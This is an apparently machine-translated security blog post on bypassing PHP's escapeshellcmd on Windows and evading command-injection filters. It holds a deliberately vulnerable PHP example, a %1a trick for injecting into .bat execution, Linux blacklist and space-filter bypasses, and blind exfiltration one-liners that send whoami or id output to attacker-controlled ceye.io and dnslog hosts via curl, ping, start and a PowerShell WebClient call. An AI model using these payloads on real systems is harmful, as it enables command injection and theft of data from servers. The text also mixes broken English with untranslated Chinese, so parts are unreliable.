Author: l3m0n_
Contribution fee: 400 RMB (if you don't agree with it, you can contribute too!)
Submission method: send an email to Linwei Chen 360.cn, or log in to the web page for online submission
Let's start with an example
Local test environment: PHP 5.4.45 + win
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
How to bypass execution?
escapeshellcmd
http://php.net/manual/zh/function.escapeshellcmd.php
Escapeshellcmd() escapes characters in a string that might trick a shell command into executing arbitrary commands. This function ensures that the data entered by the user is escaped before it is passed to the exec() or system() functions, or before the operator is executed.
Which characters will be escaped?
https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c
These will use ^ to cancel their meaning. That is to say, there is no way to execute other commands with & |, only the directory can be listed.
There is a tip: when executing. Bat files, you can use% 1a to bypass filtering and execute commands.
More fun commands to bypass
There are many tips under Linux, most of which are encountered in actual combat or CTF.
1. Blacklist bypass
执行ls命令:
a=l;b=s;$a$b
cat hello文件内容:
a=c;b=at;c=he;d=llo;$a$b ${c}${d}
2. Space bypass
绕过空格
${IFS}
或者在读取文件的时候利用重定向符
<>
Finally, it is a command execution project of others' fuzzy:
https://github.com/ewilded/shelling
3. no echo.
There is still a large demand for data acquisition without echo, such as SQL, xxE, XSS, etc. at this time, you can generally use DNS / HTTP channel to acquire data.
Linux:
curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io
Data can be obtained. The current permission is root
But one of the things that annoys me is that when special characters or spaces appear, they can be encoded, such as Base64
curl http://xxxx.ceye.io/$(id|base64)
Windows:
Windows is a headache. It's not as easy to use as Linux, such as curl, WGet, etc.
http请求:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
PowerShell is so powerful. Why don't you use it to Base64.
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
In this way, you can get a Base64 encoded command result, which is a small pit to make up.
PS: This is written with PowerShell 2.0. Other versions are not tested.
But if there is no PowerShell to get more data, it will be more troublesome.
For example, getting D: all files will be truncated in case of space.
for /F %x in ('dir /b D:') do start http://xxx.ceye.io/%x
4. Borrow others' hands to get characters
If you have filtered < >?, you can get the characters you need from the existing files.
Of course, if the server can be connected to the Internet, it's better to wget-o / tmp directly.